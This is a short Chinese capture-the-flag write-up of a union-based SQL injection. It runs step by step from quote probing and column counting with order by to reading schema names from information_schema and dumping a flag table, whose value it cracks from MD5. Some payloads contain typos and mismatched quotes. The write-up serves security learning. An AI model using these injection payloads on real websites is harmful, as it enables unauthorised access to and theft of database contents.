Sql1寻找flag
提交:ID=1
结果:是一个注入点。成功select出表有ID、name、age三列。
猜测需要补全一个单引号:
提交:id=1‘
结果:不成功。说明一个‘不行。
继续猜测,需要两个单引号
提交:id=1‘’
结果:成功。说明sql语句需要补全两个单引号。
查字段数,使用order by,并使用二分法寻找。
提交:id=1 ‘order by 3’
结果:不成功。报错是单引号语法错误,因为后面没有加隔断。
添加隔断--+-:
提交:id=1 ‘order by 3 --+-’
结果:成功访问,但是没有3列。
Tips:这里的+号有可能会被转义,建议直接在网址上面输入
用二分法,查是否是两列
提交:id=1 ‘order by 2 --+-’
结果:成功,说明有两列
查询数据库名称
提交:id=9‘ union select database(),2--+-’
结果:查询出数据库名称targetsys。
查询有什么表
提交:id=9’ union select group_concat(table_name),2 from information_schema.tables where table_schema like data--+-’
结果:查出5个表,其中有我们要的flag表
查询列名
提交:id=9 ‘ union select group_concat(column_name),2 from information_schema.colums where table_name like ‘flag’--+-’
结果:查询出两列,id和flag
查询flag
提交:id=9‘ union select group_concat(id,”-”,flag),2 from flag --+-’
结果:查出flag,但是很明显是密文。利用在线解密工具,翻译出原文是123456
Md5解密:123456